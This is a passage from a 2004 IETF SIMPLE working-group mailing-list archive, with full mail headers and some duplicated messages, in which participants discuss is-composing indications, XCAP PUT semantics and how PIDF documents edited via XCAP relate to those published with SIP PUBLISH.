not act exactly as above.

IMHO, XCAP's PUT has lot more to do than an ordinally HTTP's PUT.

Regards,
Ginga Kawaguti

-- 
Office:  NTT Communications Innovative IP Architecture Center 1PT 1P
Address: KAWAGUTI Ginga <g.kawaguti@ntt.com>
Phone:   voice=+81-3-6800-3032; fax=+81-3-5388-0550

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Fri Mar 12 00:44:05 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA19666
	for <simple-archive@ietf.org>; Fri, 12 Mar 2004 00:44:05 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1fSo-0005FF-00
	for simple-archive@ietf.org; Fri, 12 Mar 2004 00:44:06 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1fRp-00056l-00
	for simple-archive@ietf.org; Fri, 12 Mar 2004 00:43:06 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1fQr-0004xA-00; Fri, 12 Mar 2004 00:42:05 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1fQn-0002eF-8s; Fri, 12 Mar 2004 00:42:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1fQ0-0002dh-GH
	for simple@optimus.ietf.org; Fri, 12 Mar 2004 00:41:12 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA19567
	for <simple@ietf.org>; Fri, 12 Mar 2004 00:41:08 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1fPx-0004s3-00
	for simple@ietf.org; Fri, 12 Mar 2004 00:41:09 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1fOz-0004kr-00
	for simple@ietf.org; Fri, 12 Mar 2004 00:40:10 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1fOF-0004XH-00
	for simple@ietf.org; Fri, 12 Mar 2004 00:39:23 -0500
Received: from dynamicsoft.com ([63.113.46.15])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i2C5cwNr017067;
	Fri, 12 Mar 2004 00:38:58 -0500 (EST)
Message-ID: <40514CE7.7080907@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Henning Schulzrinne <hgs@cs.columbia.edu>
CC: Simple WG <simple@ietf.org>
Subject: Re: [Simple] is-composing: has-focus?
References: <404C511B.7050506@cs.columbia.edu> <404D6702.1080701@dynamicsoft.com> <404D9CF2.9010801@cs.columbia.edu> <404F3429.8020305@dynamicsoft.com> <404FCBBD.4080706@cs.columbia.edu>
In-Reply-To: <404FCBBD.4080706@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Fri, 12 Mar 2004 00:38:47 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit



Henning Schulzrinne wrote:

> We can indeed add more states later, but then probably should change the 
> current schema to use an IANA-registered string, not the token list 
> that's in the current schema. 

You mean, change the schema for "status"? I would argue that this is a 
separate state altogether, peer to "iscomposing".

Indeed, one might argue that we could just define is-composing and 
has-window-focus (or whatever) as pidf extensions, and just ship a pidf 
document in the message body. We did conclude that sending this stuff 
in-band in the message stream is a better idea than using a separate 
presence subscription. Using PIDF means that a presence agent could say 
something about my *general* availability for IM because of my status in 
an IM session I have with someone else... just a thought....

-Jonathan R.


-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Fri Mar 12 00:44:37 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA19743
	for <simple-archive@odin.ietf.org>; Fri, 12 Mar 2004 00:44:36 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1fSs-0002qP-6I
	for simple-archive@odin.ietf.org; Fri, 12 Mar 2004 00:44:10 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2C5iAX2010932
	for simple-archive@odin.ietf.org; Fri, 12 Mar 2004 00:44:10 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1fSr-0002qF-Vj
	for simple-web-archive@optimus.ietf.org; Fri, 12 Mar 2004 00:44:09 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA19679
	for <simple-web-archive@ietf.org>; Fri, 12 Mar 2004 00:44:06 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1fSp-0005FK-00
	for simple-web-archive@ietf.org; Fri, 12 Mar 2004 00:44:07 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1fRq-00056s-00
	for simple-web-archive@ietf.org; Fri, 12 Mar 2004 00:43:07 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1fQr-0004xA-00; Fri, 12 Mar 2004 00:42:05 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1fQn-0002eF-8s; Fri, 12 Mar 2004 00:42:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1fQ0-0002dh-GH
	for simple@optimus.ietf.org; Fri, 12 Mar 2004 00:41:12 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA19567
	for <simple@ietf.org>; Fri, 12 Mar 2004 00:41:08 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1fPx-0004s3-00
	for simple@ietf.org; Fri, 12 Mar 2004 00:41:09 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1fOz-0004kr-00
	for simple@ietf.org; Fri, 12 Mar 2004 00:40:10 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1fOF-0004XH-00
	for simple@ietf.org; Fri, 12 Mar 2004 00:39:23 -0500
Received: from dynamicsoft.com ([63.113.46.15])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i2C5cwNr017067;
	Fri, 12 Mar 2004 00:38:58 -0500 (EST)
Message-ID: <40514CE7.7080907@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Henning Schulzrinne <hgs@cs.columbia.edu>
CC: Simple WG <simple@ietf.org>
Subject: Re: [Simple] is-composing: has-focus?
References: <404C511B.7050506@cs.columbia.edu> <404D6702.1080701@dynamicsoft.com> <404D9CF2.9010801@cs.columbia.edu> <404F3429.8020305@dynamicsoft.com> <404FCBBD.4080706@cs.columbia.edu>
In-Reply-To: <404FCBBD.4080706@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Fri, 12 Mar 2004 00:38:47 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit



Henning Schulzrinne wrote:

> We can indeed add more states later, but then probably should change the 
> current schema to use an IANA-registered string, not the token list 
> that's in the current schema. 

You mean, change the schema for "status"? I would argue that this is a 
separate state altogether, peer to "iscomposing".

Indeed, one might argue that we could just define is-composing and 
has-window-focus (or whatever) as pidf extensions, and just ship a pidf 
document in the message body. We did conclude that sending this stuff 
in-band in the message stream is a better idea than using a separate 
presence subscription. Using PIDF means that a presence agent could say 
something about my *general* availability for IM because of my status in 
an IM session I have with someone else... just a thought....

-Jonathan R.


-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Fri Mar 12 05:21:22 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA11788
	for <simple-archive@ietf.org>; Fri, 12 Mar 2004 05:21:22 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1jn8-0000dU-00
	for simple-archive@ietf.org; Fri, 12 Mar 2004 05:21:22 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1jmJ-0000WS-00
	for simple-archive@ietf.org; Fri, 12 Mar 2004 05:20:32 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1jlx-0000P5-00; Fri, 12 Mar 2004 05:20:09 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1jlr-0000Py-6M; Fri, 12 Mar 2004 05:20:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1jlM-0000P4-2j
	for simple@optimus.ietf.org; Fri, 12 Mar 2004 05:19:32 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA11748
	for <simple@ietf.org>; Fri, 12 Mar 2004 05:19:28 -0500 (EST)
From: Markus.Isomaki@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1jlI-0000Ny-00
	for simple@ietf.org; Fri, 12 Mar 2004 05:19:28 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1jkM-0000GM-00
	for simple@ietf.org; Fri, 12 Mar 2004 05:18:31 -0500
Received: from mgw-x2.nokia.com ([131.228.20.22])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1jk3-00008Z-00
	for simple@ietf.org; Fri, 12 Mar 2004 05:18:11 -0500
Received: from esdks004.ntc.nokia.com (esdks004.ntc.nokia.com [172.21.138.159])
	by mgw-x2.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2CAI9p04835;
	Fri, 12 Mar 2004 12:18:09 +0200 (EET)
X-Scanned: Fri, 12 Mar 2004 12:17:46 +0200 Nokia Message Protector V1.3.20 2004022613 - RELEASE
Received: (from root@localhost)
	by esdks004.ntc.nokia.com (8.12.9/8.12.9) id i2CAHkMf007715;
	Fri, 12 Mar 2004 12:17:46 +0200
Received: from mgw-int2.ntc.nokia.com (172.21.143.97)
	by esdks004.ntc.nokia.com 00DeWTXB; Fri, 12 Mar 2004 12:17:43 EET
Received: from esebh004.NOE.Nokia.com (esebh004.ntc.nokia.com [172.21.138.84])
	by mgw-int2.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2CAHZH21753;
	Fri, 12 Mar 2004 12:17:35 +0200 (EET)
Received: from esebe018.NOE.Nokia.com ([172.21.138.57]) by esebh004.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Fri, 12 Mar 2004 12:17:33 +0200
x-mimeole: Produced By Microsoft Exchange V6.0.6487.1
Content-Class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (wa s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
Message-ID: <E392EEA75EC5F54AB75229B693B1B6A707E7A393@esebe018.ntc.nokia.com>
Thread-Topic: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (wa s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
Thread-Index: AcQHJapMOPm186OgQG6mGoPV33G1kQA9AqbA
To: <jdrosen@dynamicsoft.com>, <george.foti@ericsson.com>
Cc: <simple@ietf.org>
X-OriginalArrivalTime: 12 Mar 2004 10:17:33.0846 (UTC) FILETIME=[3C167360:01C4081B]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Fri, 12 Mar 2004 12:17:34 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.4 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable

Hi,

I think Jonathan already explained the relationship between the PIDF =
document that is manipulated with XCAP and the ones published using SIP =
PUBLISH. Actually the current draft already has a similar figure as =
Jonathan draw included:

---


               +---------------+         +------------+
               |   Event State |         |  Presence  |--> SIP SUBSCRIBE
               |   Compositor  +---------+  Agent     |<-- SIP NOTIFY
               |               |         |   (PA)     |
               +-------+-------+         +------------+
                 ^     ^     ^
                 |     |     |
                 |     |     |       +---------------+
        +--------+     |     +-------|  XCAP server  |
        |              |             +-------+-------+
        |              |                 ^         ^
        | SIP Publish  |                 |  XCAP   |
        |              |                 |         |
     +--+--+        +--+--+         +-------+   +-------+
     | PUA |        | PUA |         | XCAP  |   | XCAP  |
     |     |        |     |         | client|   | client|
     +-----+        +-----+         +-------+   +-------+


      Figure 1: Framework for Presence Publishing and Event State
                              Composition

---

So it should be explicit and normative that XCAP and PUBLISH work upon =
different documents, and it is the matter of the "event state =
compositor" to figure out how to consolidate those inputs.

I'm planning to submit the "WG-version" of the draft early next. Before =
that I'll check if it is still possible to improve the wording to make =
things more clear, although I think the current text should be quite =
clear already.

I also think it's better to reference to the RFC defining the PIDF =
schema rather than copy-paste the definition within this draft.=20

Markus

> -----Original Message-----
> From: ext Jonathan Rosenberg [mailto:jdrosen@dynamicsoft.com]
> Sent: 11 March, 2004 06:58
> To: George Foti (QA/EMC)
> Cc: Isomaki Markus (Nokia-NRC/Helsinki); simple@ietf.org
> Subject: Re: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft
> (wa s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
>=20
>=20
>=20
> inline.
>=20
> George Foti (QA/EMC) wrote:
>=20
> >> What if a user changes other  soft tuples with XCAP.
> >>=20
> >> It is my understanding that they cannot.
> >>=20
> >> This is enforced because the presence documents published through=20
> >> PUBLISH are simply not reflected into the xcap hierarchy.
> >>=20
> >>=20
> >>>=20
> >>> Will the server allow that?
> >>=20
> >> No.
> >=20
> >=20
> > The current scope of the PIDF manipluation using XCAP is the entire
> > PIDF XML document as well as presence extensions.
>=20
>=20
> Right.
>=20
>=20
> > There is nothing in
> > the draft that says otherwise. As far as PUBLISH is concerned, the
> > draft 03 explitly says that the content type for a=20
> published presence
> > event is the PIDF presence document.
>=20
> Right.
>=20
> >=20
> > Doesn't that imply that the indeed, per the current draft, published
> > documents for presence events are indeed reflected in the xcap
> > hierarchy, or have I missed something ?
>=20
> No. Just because the content type of publications is the same as the=20
> type manipulated by xcap, it does not mean that you can manipulate=20
> published documents with xcap.
>=20
> The model which is implicit here (and perhaps needs to be explicit),=20
> looks something like this:
>=20
>    Please view in a fixed-width font such as Courier.
>=20
>=20
>=20
>=20
>=20
>=20
>=20
>=20
>=20
>=20
>=20
>=20
>                          +--------------+    SUB
>                          |              |<--------------
>                          |  Presence    |
>                          |  Server      |
>                          |              |    NOT
>                          |              |-------------->
>                          |              |
>                          +--------------+
>                            /        \
>                          //          \\
>                         /              \    publication
>                        /                \
>                      // SIP              \\
>                     /   PUBLISH            \
>                    /                        \
>=20
>             +-----------+                 +-----------+
>             |           |                 |           |
>             |   PUA     |                 | XCAP Srvr |
>             +-----------+                 +-----------+
>                                                  ^
>                                                  |
>                                                  |
>                                                  |  xcap
>                                                  |
>                                                  |
>                                                  |
>                                                  |
>                                                  |
>                                                  |
>                                           +------------+
>                                           |            |
>                                           | XCAP Client|
>                                           +------------+
>=20
> In this model, the presence server has many sources of presence data.=20
> One is the SIP published documents. Another one is the xcap server,=20
> which stores a presence document permananetly and makes it=20
> available to=20
> the presence serevr through some kind of "publication" mecahnism=20
> (generally an internal interface). The client can manipulate this=20
> permanent document using xcap.
>=20
> In this model, the xcap server simply doesnt have access to=20
> the presence=20
> documents published through sip.
>=20
> Even if it did, we have no way to address them. That is, lets=20
> say I had=20
> a PC and a phone, and both used SIP PUBLISH to publish presence=20
> documents. What xcap URL corresponds to the PC's presence=20
> doc, and which=20
> xcap url points to that of the phone? You would need to define=20
> conventions for addressing these SIP published documents with=20
> xcap. The=20
> pidf-manipulation document doesnt do that, so there is simply=20
> no way to=20
> even shake a url at one of those documents to modify it. In=20
> that way, it=20
> is disallowed by the spec.
>=20
>=20
> >=20
> > And one more thing, all applications using XCAP should have the XML
> > schema included in the usage draft for consistency and completness.=20
> > The list usage application had them there, the CPCP (XCON) were
> > instructed to do. In this case they are not.
>=20
> The schema for pidf-manipulation is pidf, so I thought it defined the=20
> schema by referencing the pidf document. What is wrong with=20
> doing that?
>=20
> Thanks,
> Jonathan R.
>=20
> --=20
> Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
> Chief Technology Officer                    Parsippany, NJ 07054-2711
> dynamicsoft
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.jdrosen.net                      PHONE: (973) 952-5000
> http://www.dynamicsoft.com
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Fri Mar 12 05:21:55 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA11810
	for <simple-archive@odin.ietf.org>; Fri, 12 Mar 2004 05:21:55 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1jnD-0000Wo-QS
	for simple-archive@odin.ietf.org; Fri, 12 Mar 2004 05:21:28 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2CALRV9002029
	for simple-archive@odin.ietf.org; Fri, 12 Mar 2004 05:21:27 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1jnC-0000We-NX
	for simple-web-archive@optimus.ietf.org; Fri, 12 Mar 2004 05:21:26 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA11806
	for <simple-web-archive@ietf.org>; Fri, 12 Mar 2004 05:21:23 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1jn9-0000dZ-00
	for simple-web-archive@ietf.org; Fri, 12 Mar 2004 05:21:23 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1jmK-0000WZ-00
	for simple-web-archive@ietf.org; Fri, 12 Mar 2004 05:20:33 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1jlx-0000P5-00; Fri, 12 Mar 2004 05:20:09 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1jlr-0000Py-6M; Fri, 12 Mar 2004 05:20:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1jlM-0000P4-2j
	for simple@optimus.ietf.org; Fri, 12 Mar 2004 05:19:32 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA11748
	for <simple@ietf.org>; Fri, 12 Mar 2004 05:19:28 -0500 (EST)
From: Markus.Isomaki@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1jlI-0000Ny-00
	for simple@ietf.org; Fri, 12 Mar 2004 05:19:28 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1jkM-0000GM-00
	for simple@ietf.org; Fri, 12 Mar 2004 05:18:31 -0500
Received: from mgw-x2.nokia.com ([131.228.20.22])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1jk3-00008Z-00
	for simple@ietf.org; Fri, 12 Mar 2004 05:18:11 -0500
Received: from esdks004.ntc.nokia.com (esdks004.ntc.nokia.com [172.21.138.159])
	by mgw-x2.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2CAI9p04835;
	Fri, 12 Mar 2004 12:18:09 +0200 (EET)
X-Scanned: Fri, 12 Mar 2004 12:17:46 +0200 Nokia Message Protector V1.3.20 2004022613 - RELEASE
Received: (from root@localhost)
	by esdks004.ntc.nokia.com (8.12.9/8.12.9) id i2CAHkMf007715;
	Fri, 12 Mar 2004 12:17:46 +0200
Received: from mgw-int2.ntc.nokia.com (172.21.143.97)
	by esdks004.ntc.nokia.com 00DeWTXB; Fri, 12 Mar 2004 12:17:43 EET
Received: from esebh004.NOE.Nokia.com (esebh004.ntc.nokia.com [172.21.138.84])
	by mgw-int2.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2CAHZH21753;
	Fri, 12 Mar 2004 12:17:35 +0200 (EET)
Received: from esebe018.NOE.Nokia.com ([172.21.138.57]) by esebh004.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Fri, 12 Mar 2004 12:17:33 +0200
x-mimeole: Produced By Microsoft Exchange V6.0.6487.1
Content-Class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (wa s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
Message-ID: <E392EEA75EC5F54AB75229B693B1B6A707E7A393@esebe018.ntc.nokia.com>
Thread-Topic: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (wa s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
Thread-Index: AcQHJapMOPm186OgQG6mGoPV33G1kQA9AqbA
To: <jdrosen@dynamicsoft.com>, <george.foti@ericsson.com>
Cc: <simple@ietf.org>
X-OriginalArrivalTime: 12 Mar 2004 10:17:33.0846 (UTC) FILETIME=[3C167360:01C4081B]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Fri, 12 Mar 2004 12:17:34 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.4 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

Hi,

I think Jonathan already explained the relationship between the PIDF =
document that is manipulated with XCAP and the ones published using SIP =
PUBLISH. Actually the current draft already has a similar figure as =
Jonathan draw included:

---


               +---------------+         +------------+
               |   Event State |         |  Presence  |--> SIP SUBSCRIBE
               |   Compositor  +---------+  Agent     |<-- SIP NOTIFY
               |               |         |   (PA)     |
               +-------+-------+         +------------+
                 ^     ^     ^
                 |     |     |
                 |     |     |       +---------------+
        +--------+     |     +-------|  XCAP server  |
        |              |             +-------+-------+
        |              |                 ^         ^
        | SIP Publish  |                 |  XCAP   |
        |              |                 |         |
     +--+--+        +--+--+         +-------+   +-------+
     | PUA |        | PUA |         | XCAP  |   | XCAP  |
     |     |        |     |         | client|   | client|
     +-----+        +-----+         +-------+   +-------+


      Figure 1: Framework for Presence Publishing and Event State
                              Composition

---

So it should be explicit and normative that XCAP and PUBLISH work upon =
different documents, and it is the matter of the "event state =
compositor" to figure out how to consolidate those inputs.

I'm planning to submit the "WG-version" of the draft early next. Before =
that I'll check if it is still possible to improve the wording to make =
things more clear, although I think the current text should be quite =
clear already.

I also think it's better to reference to the RFC defining the PIDF =
schema rather than copy-paste the definition within this draft.=20

Markus

> -----Original Message-----
> From: ext Jonathan Rosenberg [mailto:jdrosen@dynamicsoft.com]
> Sent: 11 March, 2004 06:58
> To: George Foti (QA/EMC)
> Cc: Isomaki Markus (Nokia-NRC/Helsinki); simple@ietf.org
> Subject: Re: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft
> (wa s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
>=20
>=20
>=20
> inline.
>=20
> George Foti (QA/EMC) wrote:
>=20
> >> What if a user changes other  soft tuples with XCAP.
> >>=20
> >> It is my understanding that they cannot.
> >>=20
> >> This is enforced because the presence documents published through=20
> >> PUBLISH are simply not reflected into the xcap hierarchy.
> >>=20
> >>=20
> >>>=20
> >>> Will the server allow that?
> >>=20
> >> No.
> >=20
> >=20
> > The current scope of the PIDF manipluation using XCAP is the entire
> > PIDF XML document as well as presence extensions.
>=20
>=20
> Right.
>=20
>=20
> > There is nothing in
> > the draft that says otherwise. As far as PUBLISH is concerned, the
> > draft 03 explitly says that the content type for a=20
> published presence
> > event is the PIDF presence document.
>=20
> Right.
>=20
> >=20
> > Doesn't that imply that the indeed, per the current draft, published
> > documents for presence events are indeed reflected in the xcap
> > hierarchy, or have I missed something ?
>=20
> No. Just because the content type of publications is the same as the=20
> type manipulated by xcap, it does not mean that you can manipulate=20
> published documents with xcap.
>=20
